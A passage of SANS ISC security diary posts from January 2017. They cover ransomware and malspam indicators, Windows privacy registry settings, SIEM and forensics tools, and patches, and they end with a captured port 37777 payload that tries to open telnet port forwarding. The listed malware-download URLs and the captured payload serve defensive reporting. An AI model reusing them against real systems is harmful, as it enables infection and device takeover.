When the callback domains for Sage didn't resolve in DNS, the infected host sent UDP packets sent to over 7,000 IP addresses.  I think this could be UDP-based peer-to-peer (P2P) traffic, and it appears to be somehow encoded or encrypted.  BleepingComputer's September 2016 write-up on CryLocker shows the same type of UDP post-infection traffic, but CryLocker's traffic was not encrypted [4].

Shown above:  An HTTP request for the Sage 2.0 binary, followed by callback domains not resolving in DNS.

Shown above:  UDP traffic caused by Sage 2.0 when callback domains were unavailable.

Shown above:  Examining one of the UDP packets.

Indicators of Compromise (IOCs)

Below are IOCs for Sage 2.0 from Friday 2017-01-20:

Ransomware downloads caused by Word document macros or .js files:

  • port 80 - smoeroota.top - GET /read.php?f=0.dat
  • port 80 - newfoodas.top - GET /read.php?f=0.dat
  • port 80 - fortycooola.top - GET /user.php?f=0.dat

Post-infection traffic:

  • port 80 - mbfce24rgn65bx3g.er29sl.in - POST /
  • port 80 - mbfce24rgn65bx3g.er29sl.in - POST /
  • mbfce24rgn65bx3g.rzunt3u2.com (DNS queries did not resolve)
  • Various IP addresses, UDP port 13655 - possible P2P traffic

Tor-based domains to view the decryption instructions:

  • 7gie6ffnkrjykggd.rzunt3u2.com
  • 7gie6ffnkrjykggd.er29sl.in
  • 7gie6ffnkrjykggd.onion

SHA256 hashes for the Sage 2.0 ransomware samples:

  • 0ecf3617c1d3313fdb41729c95215c4d2575b4b11666c1e9341f149d02405c05   (352,328 bytes)
  • 362baeb80b854c201c4e7a1cfd3332fd58201e845f6aebe7def05ff0e00bf339   (352,328 bytes)
  • 3b4e0460d4a5d876e7e64bb706f7fdbbc6934e2dea7fa06e34ce01de8b78934c   (352,328 bytes)
  • 8a0a191d055b4b4dd15c66bfb9df223b384abb75d4bb438594231788fb556bc2   (352,328 bytes)
  • ccd6a495dfb2c5e26cd65e34c9569615428801e01fd89ead8d5ce1e70c680850   (352,328 bytes)

Examples of locations on the infected Windows host where Sage 2.0 was made persistent:

  • C:\Users\[username]\AppData\Roaming\gNwO5YoE.exe
  • C:\Users\[username]\AppData\Roaming\wiqpNWm7.exe
  • NOTE: File names appear to consists 8 random alphabetic characters with an .exe suffix.

Final words

An important note:  URLs for the ransomware download will send Cerber one day, but the same URLs can send something like Sage ransomware the next.

I'm not sure how widely-distributed Sage ransomware is.  I've only seen it from this one malspam campaign, and I've only seen it one day so far.  I'm also not sure how effective this particular campaign is.  It seems these emails can easily be blocked, so few end users may have actually seen Sage 2.0.

Still, Sage is another name in the wide variety of existing ransomware families.  This illustrates how profitable ransomware remains for cyber criminals.

Pcaps, emails, malware, and artifacts for this diary are available here.

Brad Duncan
brad [at] malware-traffic-analysis.net


[1] https://www.bleepingcomputer.com/forums/t/634978/sage-file-sample-extension-sage/
[2] https://www.bleepingcomputer.com/forums/t/634747/sage-ransomware-sage-support-help-topic/
[3] https://www.pcrisk.com/removal-guides/10732-sage-ransomware
[4] https://www.bleepingcomputer.com/news/security/the-crylocker-ransomware-communicates-using-udp-and-stores-data-on-imgur-com/


Published: 2017-01-20

PowerShell 5.1 for Windows 7 and later

Microsoft has released Windows Management Framework 5.1 for windows 7 and later.

WMF 5.1 upgrades Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, and Windows Server 2012 R2 to the PowerShell, WMI, WinRM and SIL components that were released with Windows Server 2016 and Windows 10 Anniversary Edition.  

For more information:






Published: 2017-01-18

Making Windows 10 a bit less "Creepy" - Common Privacy Settings

Microsoft regards Windows 10 is the most secure version of Windows out of the box, and I do have to agree that's the case.

Which is all well and good, but the question that folks seem to continually ask me is various versions of "How can I reduce how much personal information I send to Microsoft".  Or in other words - why is Windows 10 so "creeping me", and how do I dial back that creep factor?

I've put a short list together of various features that people might consider to be at the "big brother" end of the spectrum, and how to script your way out of them - and yes, you knew there'd be PowerShell involved!  Note that if you are looking to disable these features in an Active Directory domain, these settings are all front-and-center in Group Policy, so are easily updated centrally.

First, let's look at Windows Telemetry.  This is basic information on what applications run, search information, Cortana activity, gaming patterns and so on.  Specific search terms aren't sent, but for me this is well in to creep territory anyway.  The resulting information gets sent to Microsoft, and they do resell it after it's anonymized. But it's not all bad - a very complete description of what telemetry does can be found here https://technet.microsoft.com/en-ca/itpro/windows/manage/configure-windows-telemetry-in-your-organization.  A privacy specific discussion can be found here: https://privacy.microsoft.com/en-US/windows-10-feedback-diagnostics-and-privacy ) The Microsoft page covers the GUI adjustments for this, or changing three registry keys kills that datastream  (Powershell command shown).  Note that telemetry can't be disabled completely, the most restrictive setting (0) sends security data only:

In Group Policy:
Computer Configuration > Administrative Templates > Windows Components > Data Collection and Preview Builds > Allow Telemetry, set the value to 0 (zero).

In Powershell (registry keys):

Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Type DWord -Value 0

Smartscreen Filter has a solid business use - it monitors your browser activity, and will give you a warning or block if you browse to known malicious sites, phishing or otherwise suspicous sites, or if you are downloading known malicious files.  More info on this service can be found here: https://support.microsoft.com/en-ca/help/17443/windows-internet-explorer-smartscreen-filter-faq   and here: https://privacy.microsoft.com/en-US/windows-10-microsoft-edge-and-privacy

This sounds great, except that Microsoft is pretty cagey about how this works and what data is sent where - from most of their docs it's not clear if your activity is sent to them, or if they download a database of malicious sites to you.  Since that "malicious sites" thing never shows up in Windows Udpate, I know where I land on this question. All that being said, it *is* a useful feature, especially if you are in the "support friends and family" role.  Since I don't generally use IE or Edge, this isn't a setting I normally worry about on my own gear.  If you do want to disable this, it's a toggle in "Privacy Settings",  a setting in Control Panel / Internet Properties / Advanced / Enable SmartScreen Filter .  

In Group Policy:
Computer Configuration > Administrative Templates > Windows Components > File Explorer > Configure Windows SmartScreen

Or, in Powershell:
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer" -Name "SmartScreenEnabled" -Type String -Value "Off"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\AppHost" -Name "EnableWebContentEvaluation" -Type DWord -Value 0

Wi-Fi Sense connects you to Open hotspots that are "greenlighted" through crowdsourcing. This setting is disabled in current versions of Windows (Anniversary Edition or newer) - if  you have not updated, today is a good day to do that!  If for some reason you can't, more information on the various levels of "trust" you might have in this can be found at: https://privacy.microsoft.com/en-US/windows-10-about-wifi-sense  For me, what crowdsourcing equates to is the mom-proverb "if all of your friends jumped off a bridge ...." - yes, your mom was right

To disable this feature - in Group Policy it's:
Computer Configuration\Administrative Templates\Network\WLAN Service\WLAN Settings\Allow Windows to automatically connect to suggested open hotspots - set this to "Disabled"
Also, depending on the setting:
set "Allow Windows to automatically connect to networks shared by contacts" to disabled
and set "Allow Windows to automatically connect to hotspots offering paid services" to disabled

Or, directly against the registry:

Set-ItemProperty -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowWiFiHotSpotReporting" -Name "Value" -Type DWord -Value 0
Set-ItemProperty -Path "HKLM:\Software\Microsoft\PolicyManager\default\WiFi\AllowAutoConnectToWiFiSenseHotspots" -Name "Value" -Type DWord -Value 0

(note - these keys may not be there, you should check for the key being present first).

Searching the start menu seems like an innocuous thing, except that Microsoft pairs it with "search suggestions", which means that this is part of the telemetry stream as well.  To disable both search from the start menu and search suggestions:

In Group Policy:
Computer Configuration > Policies > Administrative Templates > Windows Components > Search
Set "Don't search the web or display web results in search" to "Enabled"

Or, in Powershell:
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Search" -Name "BingSearchEnabled" -Type DWord -Value 0
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" -Name "SystemPaneSuggestionsEnabled" -Type DWord -Value 0

Cortana is a cool thing, and is just as useful as Sira and Echo, but your interactions are processed in the cloud.  Because of this, we're starting to see noise about voice systems such as Siri, Echo and Cortana having interactions subpoena'd in criminal cases.  

To disable Cortana in Group Policy:
Computer Configuration > Administrative Templates > Windows Components > Search > Allow Cortana, set to "Disabled"

Or in the Registry:
Set-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Windows Search" -Name "AllowCortana" -Type DWord -Value 0

Location tracking?  Great if you're asking "how far do I need to walk for donuts" or "help, I'm almost out of gas", but otherwise maybe not so much.  I'd like to see this enabled app by app (as is iOS), Windows makes a start at this, but win Windows there are only 5 granular picks for this, one being "App Connector" (which looks like it means "any other app not listed").

To disable from the individual UI:
Settings / Privacy / Location

To disable in GPO:
Computer Configuration > Administrative Templates > Windows Components > Search > Allow search and Cortana to use location, set to "Disabled"

Or in the Registry:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Sensor\Overrides\{BFA794E4-F964-4FDB-90F6-51056BFE4B44}" -Name "SensorPermissionState" -Type DWord -Value 0
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\lfsvc\Service\Configuration" -Name "Status" -Type DWord -Value 0

Windows Feedback is more of an annoyance feature, it's more or less a periodic pop-up "How is Microsoft doing today?" survey.  In a corporate setting especially, you'll likely look on this as a productivity-eater, plus people will confuse things and think that they're providing feedback to your internal IT Group rather than Microsoft.

In the UI, you'll find these settings under
Settings / Privacy / Feedback & Diagnostics
Settings / System / Notifications and Actions / Windows Feedback
you can adjust the frequency or turn this off.  

Computer Configuration > Administrative Templates > Windows Components > Data Collection and Preview Builds > Do not show feedback notifications

Or this reg key below does the job too:
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Siuf\Rules" -Name "NumberOfSIUFInPeriod" -Type DWord -Value 0

These settings cover the adjustments I normally set - have I missed any that you might consider important?  Please use our comment form to add any settings you enable or disable.

Rob VandenBrink


Published: 2017-01-17

domain_stats.py a web api for SEIM phishing hunts

Last year, over the Thanksgiving break, Justin Henderson and I worked on a tool to provide a web API interface for another tool I released last year called freq.py.   freq.py is used to identify randomized DNS names used by malware.   Providing a web API would allow a Security Information and  Event Management (SEIM) system to automatically score character frequency data from a variety of log sources.  So freq_server.py was born. Since then it has been great to see different organizations using it and finding malware in their domain.  This Thanksgiving Justin contacted me again with a new project and I was immediately intrigued.  

This time Justin wanted to automatically score phishing domains based upon the "born on" date of the domain registration. Justin told me about some really great techniques that organizations can use to identify potential threats if you could query the data "at the speed of SEIM".  The difficulty is in processing the huge number of records that a SEIM collects without rudely overwhelming the whois servers. The system has to be quick and we need to cache the data for frequent domains. Python makes building these types of interfaces quick and easy. Justin told me what he wanted and a few hours later I sent him working prototype. The tool is available for download and integration into your SEIM now.   Download a copy here. Check out SANS SEC573 to learn how to quickly develop programs like this on your own.  There are two opportunities to take the Python course from me in the near future. Come see me in London or come see me in Orlando Florida at SANS 2017   

So what can you do this new tool?   Well, it was Justin's idea, so I'll let him tell you.   Take it away Justin!

Thanks Mark.  We live in a day were data is everywhere. The security community is constantly stepping up in new ways to defend and protect this data. They are constantly inventing new techniques, tools, and processes. Yet some good techniques have been lost due to lack of publication or an inability to easily apply the technique at scale.

One such technique is using WHOIS information and specifically creation dates. Many who came before me have made mention that companies typically do not perform business with new domains. I dub these “baby domains” as they are new born and not mature. Normally businesses access websites that are well over 90 days in age. For example, the website sans.org was created over twenty years ago. Where defenders will regularly see baby domains is with phishing domains.

My name is Justin Henderson and I am the author of an up and coming SANS course namely, SEC555: SIEM with Tactical Analytics. One of the main concepts behind the course is using free or commercial SIEM solutions to operationalize techniques previously considered difficult or impossible. One such technique is gathering the creation date of domains for analysis at scale and without tanking performance. While attempting to get this working at scale I reached out to Mark Baggett. Thanks to his help and ingenuity, the security community now has domain_stats.py.

The script domain_stats.py solves two key problems: how to gather WHOIS information for massive amounts of requests without tanking performance and provides a method for whitelisting domains. The main reason for the scripts creation is to perform a WHOIS call against a domain name. This is easy to do.

The old school method was to invoke WHOIS using things like whois or pwhois.

whois sans.org

Running a simple whois kicks back lots of information included a creation date. The problem: performance. Each run of whois varies greatly. In fact, in my testing it would vary between about 0.50 seconds and 10 seconds which if ran against millions or billions of domains would not be able to keep up. Then there is Mark Baggett’s domain_stats.py script.

First we start it by running:

/usr/bin/python /opt/domain_stats/domain_stats.py -a /opt/domain_stats/top-1m.csv 20001

Then a whois call can be made to look for a creation date by using this command:


In this case since /domain/creation_date specifies to only return the creation date of the given domain. The major value Mark has added is that the result is cached. For example, the first run per domain will take the same amount of time a standard whois lookup takes. However, subsequent calls for sans.org take approximately 0.004 to 0.006 seconds. Speed is the enabler here.

However, the second component Mark built into domain_stats.py further speeds up the process as well as implements an additional technique that can be applied. This functionality was originally built to be used with the Alexa top 1 million sites even though free support for the top 1 million has been discontinued. As a result, it still references /alexa. What it does is allows a domain to be queried to see if it matches a list. If it matches it references the number associated with the domain.

Assuming the script is running from the previous command this functionality can be called using this command:


The number returned if using an older version of the Alexa top 1 million is the sites rank. Just remember that instead of using an old Alexa file you can also generate a custom list of most frequently accessed sites or known good sites or even known bad sites. This can then be used to tag domains in order to skip certain checks that are more time consuming such as WHOIS lookups or perform other tasks/logic.

So how would you put this all together? Where I regularly use domain_stats.py is by invoking it from SIEM products. For example, I take incoming DNS logs and use Logstash, a log aggregator and parser, to query domain_stats.py. If a DNS log matches certain query types such as an A record or MX record, then Logstash applies the following logic:

Step 1 - Does the query match an internal domain name? If yes, no additional processing required. If no, move to step # 2.

Step 2 – Pass the domain to domain_stats.py using /alexa. If a result is returned the domain matches a whitelist and no additional processing is required. If 0 is returned it is not a well-known domain. Move to step # 3.

Step 3 – Pass the domain to domain_stats.py using /domain/creation_date. Store the creation date for manual analysis. (I then use a dashboard/report to display baby domains that are less than 90 days old)

The ultimate deliverable is a list of baby domains being accessed and knowing which systems are possibly engaging them. This could provide early detection of emails coming in from phishing domains or end users accessing phishing websites. When combined with other techniques such as fuzzy phishing (https://www.hasecuritysolutions.com/blog/fuzzy-phishing) catching phishing domains becomes much more likely and quite frankly a lot more fun.

A big shot out to Mark Baggett for his awesome Python scripting skills that enabled this. While written in Python it has proven through repetitive testing to outperform other solutions. I encourage everyone to consider using domain_stats.py for WHOIS queries (such as for creation dates) or its whitelisting capabilities.

Follow Justin Henderseon @securitymapper

Follow Mark Baggett @MarkBaggett



Published: 2017-01-15

Whitelisting File Extensions in Apache

Last week, Xavier published a great diary about the dangers of leaving behind backup files on your web server. There are a few different ways to avoid this issues, and as usual, defense in depth applies and one should consider multiple controls to prevent these files from hurting you. Many approaches blocklist specific extensions, but as always with blocklists, it is dangerous as it may miss some files. For example, different editors will use different extensions to marks backups files, and Emacs (yes... I am an Emacs fan),  may not only leave a backup file by appending a ~ at the end, but it may also leave a second file with a '#' prefix and postfix if you abort the editor.

For all these reasons, it is nice if you can actually white list extensions that are required for your application.

As a first step, enumerate what file extensions are in use on your site (I am assuming that "/srv/www/html" is the document root):

find /srv/www/html -type f | sort | sed 's/.*\.//' | sort | uniq -c | sort -n

     19 html~
     20 css
     20 pdf
     23 js
     50 gif
     93 html
    737 png
   3012 jpg

As you see in the abbreviated output above, most of the extensions are what you would expect from a normal web server. We also got a few Emacs backup HTML files (html~). 

We will set up a simple text file "goodext.txt" with a list of all allowed extensions. This file will then help us create the Apache configuration, and we can use it for other configuration files as well (anybody knows how to do this well in mod_security?) . The output of the command above can be used to get us started, but of course, we have to remove extensions we don't want to see.

find . -type f | sort | sed 's/.*\.//' | sort -u > ~/goodext.txt

Next, let's run a script to delete all the files that do not match these extensions. I posted a script that I have used in the past on GitHub.

The script does use the "goodext.txt" file we created above. The first couple lines can be used to configure it. Of course, run it in "debug" mode first, to see what files will be deleted, and make a backup of your site first!

Next, we create an Apache configuration file. Currently, the script only works for Apache 2.2. Apache 2.4 changed the syntax somewhat, and I need to test if the order of the directives needs to change. Include it as part of the Directory section of the configuration file:

Order allow,deny
Allow from all 
Include www.goodext     

(I don't name the extension file ".conf" so it will not be included automatically but only in this one specific spot).

The two, rather simple, bash scripts to delete the "bad files" and then create the Apache configuration files, can be found here: https://github.com/jullrich/fixbadwebfiles

Why use a script for this vs. just editing the files manually?

  1. typos
  2. faster if you have multiple servers
  3. there are two kinds of sysadmins: those that script, and those that will be replaced by a script.

Note that the scripts are strictly in the "works for me" state. Any bug reports and comments are welcome (use GitHub for bugs)

Johannes B. Ullrich, Ph.D.


Published: 2017-01-14

Backup Files Are Good but Can Be Evil

Since we started to work with computers, we always heard the following advice: "Make backups!". Everytime you have to change something in a file or an application, first make a backup of the existing resources (code, configuration files, data). But, if not properly managed, backups can be evil and increase the surface attack of your web application. Just take an example:

You maintain a Wordpress website for your company and, before changing the configuration, you make a backup of the main configuration file.

# cd /var/www/htdocs
# cp -p wp-config.php wp-config.php.bak

Alternatively, you can also archive the directory content:

# zip -r backup.zip .

For the same reasons, you can also make a backup of the SQL databases or user files.

Now, you can edit them and if everything goes wrong, just revert to the previous version. Looks so far so good! But, often, people forget to protect the backup (which is created with the web site UID or a wrong umask - making it readable by anybody).

What am I talking about this? For a few days, I detected a lot of scans for "backup" files across multiple websites:


I also detected scans for files ending with a '.bak' extension or the '~' (the common way for many editors to make a backup of edited files).

To protect yourself against this problem:

  • Do not store backup files in the root of your website.
  • Delete them once the maintenance completed and that you're sure you don't need it.
  • Change the owner and access rights (use a correct umask!)
  • Encrypt them (zip -e)
  • Just store them offline!

But of course, continue to make backups of your sensitive data...

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-01-13

Who's Attacking Me?

I started to play with a nice reconnaissance tool that could be helpful in many cases - offensive as well as defensive. "IVRE" [1] ("DRUNK" in French) is a tool developed by the CEA, the Alternative Energies and Atomic Energy Commission in France. It's a network reconnaissance framework that includes:

  • Passive recon features (via flow analysis coming from Bro or Nfdump
  • Fingerprinting analysis
  • Active recon (via Nmap or Zmap)
  • Import tools (from Nmap or Masscan)

I deployed this tool and feed it with attacker's IP addresses collected by my honeypots:

My honeypots data are processed by Splunk which, amongst the generation of dashboards, extract the list of offensive IP addresses and feed IVRE. The IP addresses are scanned using Nmap and the post-processing of results stored in a MongoDB database. The post-processing includes:

  • Geo-localization
  • Network tagging
  • Fingerprinting
  • Processing of screenshots

All the results are available through a web interface but also via command line tools. At this time, I already collected info from 3500+ IP addresses:

Basic information is display per IP addresses:

Some reconnaissance features like automatic screenshots:

And sharing of data:

Very useful to find compromized hosts which deliver malware! The web interface provides a powerful search feature. Examples:

  • Show me all IP addresses from Russia, that have a port 27017 open (MongoDB)
  • Show me the "network devices" from Brazil (switches, routers, firewalls, ...)
  • Show me the hosts running MSSQL without password
  • Show me the available file shares SMB or NFS (Yes, I found some open NFS servers!)

Out of the box, statistics are available. Example, the top CPE detected:

Getting more knowledge about your attackers is always good. IVRE can help you in this way. This is a very powerful framework that will help you to build your own small "Shodan". Happy hunting!

[1] https://ivre.rocks/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-01-12

System Resource Utilization Monitor

The attackers have come and gone and you are left behind to clean up the mess.   You arrive on site to figure out how the bad guys got in, what they took and how badly it will affect the customer. But, the customer doesn't syslog the firewall logs, so you are limited to the three days of logs that are held in the firewall's memory.   The Windows Event logs on most of the systems roll over every 5 minutes, and there is no centralized long term logging.    There is no IDS.   There is no full packet capture.   They have removed the malware used by the attacker, deleted the attacker's accounts, removed the compromised software and reinstalled the latest version of software.   For good measure, they also installed a years' worth of OS and software patches that were missing.   Being a glutton for punishment you ask if you can take the compromised server offline to create a forensics image but you are told management wants to "tread lightly" on the server.   "That’s Ironic" goes through your mind but doesn't cross your lips.   No logs.  No obvious forensic artifacts.  The only clues left are the remains of whatever wasn't stomped on by the administrators overzealous premature clean up.

Despite the customer's unintentional efforts to destroy the last remnants of proof the attackers, within a few minutes you can have a pretty good idea of what the attackers did.  After the attacker created a new account on the system they logged in using RDP.  They downloaded and executed additional malware on the victim's machine launching attacks on neighboring systems.   After collecting up their loot, they connected to a nearby open Wi-Fi to bypass your egress monitoring and transferred the stolen database over the open WI-FI.  All of these attacker actions are discoverable without doing a full forensics timeline by looking at a little-known log of all users' activity on the system called SRUM.

The Windows System Resource Usage Monitor (aka SRUM) contains a wealth of information about all the activities that occur on your machine. Some of this information is visible from the "APP HISTORY" tab on the task manager, but a vast amount of detail collected is not displayed via the GUI.   It keeps the names and paths of every application that executes on your system even the ones the attackers deleted.  It records the user's SID that execute the program so we knew the attacker used a temporary account that the administrators clean up deleted.   It records then names of all of the networks you have connected to and how long you were connected.   It also records application battery usage, CPU time broken down by foreground and background time, how many bytes were written and read from the hard drive by the application and much more. The information is stored in the \Windows\System32\sru\ directory in a file named SRUDB.DAT.   The file is in the Windows ESE (Extensible Storage Engine) database format. So the trick is to get the data out and make sense of it.

Ovie Carrol was telling me how invaluable the data was in one of his investigations.   An excellent paper on the internals of the database by Yogesh Khatri is available in the SANS reading room. But unless you have Encase you can't access the data using his scripts.  I wrote a small program called srum-dump.exe that will extract the data so you can view it using Microsoft Excel or any XLSX compatible viewer.

SRUM-DUMP will accept a few inputs.  One required input is the SRUDB.DAT file from a system you want to analyze. Another required input is an EXCEL file that specifies which fields you want to extract and what format you want them in. I provide a sample template along with the program on my GITHUB called SRUM-TEMPLATE.XLSX.   You can optionally provide a copy of the SOFTWARE registry hive which is typically located in the \Windows\System32\config\ directory if you want to resolve the names (SSID) of Wireless networks.   SRUM-DUMP reads the SRUDB.DAT file, extracts it as defined in the SRUM-TEMPLATE.XLSX file and produces a new XLSX file with the results.

For example.  The following will analyze the input (-i) SRUDB.DAT, the registry (-r) SOFTWARE and create an output file (-o) called example_output.xlsx.  The -t option can be used to specify a template file.  If no template is specified it will use SRUM-TEMPLATE.XLSX in the same directory as srum-dump.exe.

 C:\srum-dump>srum_dump.exe -i ..\SRUDB.dat -r ..\SOFTWARE -o ..\example_output.xlsx


The resulting XLSX file has multiple tabs across the bottom.  Each tab is filled with useful information.  In this screenshot, you can see that on the Network Usage tab that NC.EXE was used to transfer a large amount of data over a wireless network named "OPENWIFI". You also have the SID of the user who ran netcat.  

And that is just from one tab!.  There is a lot more information you can get from the spreadsheet.   You can customize the data that is retrieved from the database by modifying the SRUM_TEMPLATE.XLSX file to meet your needs.   The artifacts that are recoverable from the SRUM can change they way you do incident response!.  Download a copy and give it a try.   The README on the github site has more information to get you started.

Download a copy of srum-dump.exe from here:  https://github.com/MarkBaggett/srum-dump

For more information on SRUM and other useful forensic artifacts check out SANS FOR408 Windows Forensics Analysis.

If you would like to add new features to SRUM-DUMP or develop similar programs check out SANS SEC573 Automating Information Security with Python.

There are two opportunities to take the Python course from me in the near future.   

Come see me in London  or come see me in Orlando Florida at SANS 2017

Follow me on twitter @MarkBaggett  



Published: 2017-01-12

Some tools updates

A couple of tools were updated and release today.    

Network Miner was updated.  Version 2.1 is not available for download.  Network Miner is packet sniffer/analyzer focused on extracting application layer forensic artifacts.   The update adds new protocols and enhances email reassembly options.


Blackhills Information Security released a Powershell version of the DNSCAT2 client.   DNSCAT2 is a popular command and control tool that uses the DNS infrastructure to control hosts inside a tightly filtered perimeter.   This new DNSCAT2 client is a Powershell implementation of the popular tool and will certainly be a hit with penetration testers.



Published: 2017-01-11

Hancitor/Pony/Vawtrak malspam


Until recently, I hadn't personally seen much malicious spam (malspam) using Microsoft office documents with Hancitor-based Visual Basic (VB) macros to send Pony and Vawtrak.  It still happens, though.  Occasionally, I'll find a report like this one from 2016-12-19, where Hancitor/Pony/Vawtrak malspam was disguised as a LogMeIn account notification, but I rarely come across an example on my own.  And apparently, there's been a recent lull in Hancitor/Pony/Vawtrak malspam until yesterday.

This diary describes a wave of Hancitor/Pony/Vawtrak malspam from Tuesday 2017-01-10.

The malspam

The example I saw was a fake parking ticket notification.

  • Date/Time:  Tuesday, 2017-01-10 20:25:41 UTC
  • Received from:  kennedyslaw.com
  • Message-Id:  c016c66e.baa60320@kennedyslaw.com
  • From:  office@kennedyslaw.com
  • Subject:  RE: RE: parking ticket

Shown above:  The fake parking ticket notification with a link to a Word document.

The link from the malspam downloaded a Microsoft Word document.  The document contains a malicious VB macro described has Hancitor, Chanitor or Tordal.  I generally call it Hancitor.  If you enable macros, the document retrieves a Pony downloader DLL.  The Pony downloader then retrieves and installs Vawtrak malware.

Show above:  Flow chart of the infection process.

The link from the email contains a base64-encoded string representing the recipient's email address.  Based on that string, the downloaded file will have the recipient's name from the email address.  I used a base64 string for bert@shotts123.com (a made-up name/address) and received a file named parking_bert.doc.

Shown above:  Retrieving the Hancitor Word document from the email link.

Shown above:  Enabling macros will activate Hancitor.

The traffic

Pattern-wise, URLs from this infection are similar to previous cases of Hancitor/Pony/Vawtrak malspam reported during the past two or three months.

Shown above:  Infection traffic after activating macros in the Word document.

You won't see any Vawtrak-specific activity until you start your browser and try to look at a something.  Once you do, you'll see Vawtrak callback traffic.

Shown above:  Vawtrak callback traffic seen only after trying to browse the web.

Shown above:  Alerts on the traffic using Security Onion with Suricata and the ETPRO ruleset.

Indicators of Compromise (IOCs)

Email links noted on Tuesday 2017-01-10 to download the Hancitor Word document:

  • port 80 - www.dreampark.co.jp - GET /api/get.php?id=[base64 string]
  • port 80 - www.thienyhotel.vn - GET /api/get.php?id=[base64 string]

Traffic after enabling macros on the Word document:

  • api.ipify.org - GET /   [IP address check]
  • port 80 - tinhorecrin.com - POST /ls5/forum.php   [Hancitor callback]
  • port 80 - tinhorecrin.com - POST /klu/forum.php   [Hancitor callback]
  • port 80 - tinhorecrin.com - POST /borjomi/gate.php   [Hancitor callback]
  • port 80 - www.mi4nd.com - GET /wp-includes/pm1.dll   [DLL for Pony]
  • port 80 - www.mi4nd.com - GET /wp-includes/pm2.dll   [DLL for Pony]
  • port 80 - www.worstofbreed.net - GET /wp-content/themes/redoable/inst.exe   [EXE for Vawtrak]

Vawtrak traffic noted after trying to browse the web:

  • port 80 - - HTTP post-infection Vawtrak callback
  • port 443 - geholso.com - HTTPS/SSL/TLS post-infection Vawtrak callback
  • port 443 - ojfbgnruqe.com - HTTPS/SSL/TLS post-infection Vawtrak callback

Associated file hashes:

Final words

Speaking as a security professional, we often become jaded as yet another wave of malspam does the same thing it's done before.  Patterns behind such activity are often well-documented.  So why bother with discussion, if there's nothing new?  Why bother talking about it, when we have the technical means to prevent these types of infections?

Why indeed!  That attitude only encourages the criminal groups behind malspam.  For various reasons, many environments don't follow best security practices, and they're still vulnerable.  If we discuss on-going waves of malspam in high-visibility forums like this one, more people will be aware of the threat.

I encourage security professionals to routinely check sites like blog.dynamoo.com, myonlinesecurity.co.uk, and techhelplist.com.  Many folks also have Twitter channels with even more timely updates.

If you know any blogs or Twitter channels you find helpful, feel free to leave a comment below.  Let's keep the discussion going!

Pcap and malware for this diary can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2017-01-10

Adobe January 2017 Patches

Adobe today released a security update for Flash (APSB17-02) and it updated an update released last week for Acrobat/PDF Reader (APSB17-01). 

The Acrobat/PDF Reader update addresses 29 vulnerabilities. Many of these vulnerabilities are considered critical as they can lead to code execution, but currently, there are no known exploits available according to Adobe. Later today, we should expect an update from Microsoft addressing these issues in Microsoft products that include Flash.

The Flash update fixes 13 vulnerabilities and exploitation of some of these vulnerabilities may also lead to code execution. Adobe considers this update a higher priority than the PDF Reader update.


Johannes B. Ullrich, Ph.D.


Published: 2017-01-10

January 2017 Microsoft Patch Tuesday

If your job today is to apply Microsoft patches: You get to go home early today! I think this is the lightest patch Tuesday ever.

Microsoft today released 3 bulletins itself plus one for Adobe. While two of the vulnerabilities are "publicly known", they only affect non-critical updates: A privilege escalation vulnerability in Microsoft Edge (%%cve:2017-0002%%) and a denial of service vulnerability in LSASS (%%cve:2017-0004%%). For the first time in a many many months there is no Internet Explorer update this month.

You can find all the details again via our MSFT Patch page: https://isc.sans.edu/mspatchdays.html?viewday=2017-01-10 or our API if you prefer a more structured format: https://isc.sans.edu/api/getmspatchday/2017-01-10

I doubt that Microsoft ran out of vulnerabilities to fix, but due to the holidays at the end of December, they likely had less time to fix existing vulnerabilities. January has been historically a "light month" for bulletins:

Johannes B. Ullrich, Ph.D.


Published: 2017-01-10

Port 37777 "MapTable" Requests

Thanks to Bjørn for noticing an increase in %%port:37777%% TCP traffic. He wrote a blog with some of the payloads he found, and after he notified us, I was able to confirm his observations in our honeypot [1].

First 32 bytes of the payload:

c1 00 00 00 00 14 00 00  63 6f 6e 66 69 67 00 00
                          c. o. n. f. i. g
31 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

ASCII representation of the payload (640 Bytes. The payload is followed by 0 padding for a total payload size of 5151 bytes.

{ "Enable" : 1, "MapTable" : [
{ "Enable" : 1, "InnerPort" : 85, "OuterPort" : 85, "Protocol" : "TCP", "ServiceName" : "HTTP" },
{ "Enable" : 1, "InnerPort" : 37777, "OuterPort" : 37777, "Protocol" : "TCP", "ServiceName" : "TCP" },
{ "Enable" : 1, "InnerPort" : 37778, "OuterPort" : 37778, "Protocol" : "UDP", "ServiceName" : "UDP" },
{ "Enable" : 1, "InnerPort" : 554, "OuterPort" : 554, "Protocol" : "TCP", "ServiceName" : "RTSP" },
{ "Enable" : 1, "InnerPort" : 23, "OuterPort" : 23231, "Protocol" : "TCP", "ServiceName" : "TELNET" },
{ "Enable" : 1, "InnerPort" : 23, "OuterPort" : 23123, "Protocol" : "TCP", "ServiceName" : "NEW" } ] }

The payload appears to attempt to configure port forwarding rules, which is typically done via UPNP (and UPNP has been heavily abused, but is typically not reachable from the "outside"). But the requests are different from UPNP in some ways:

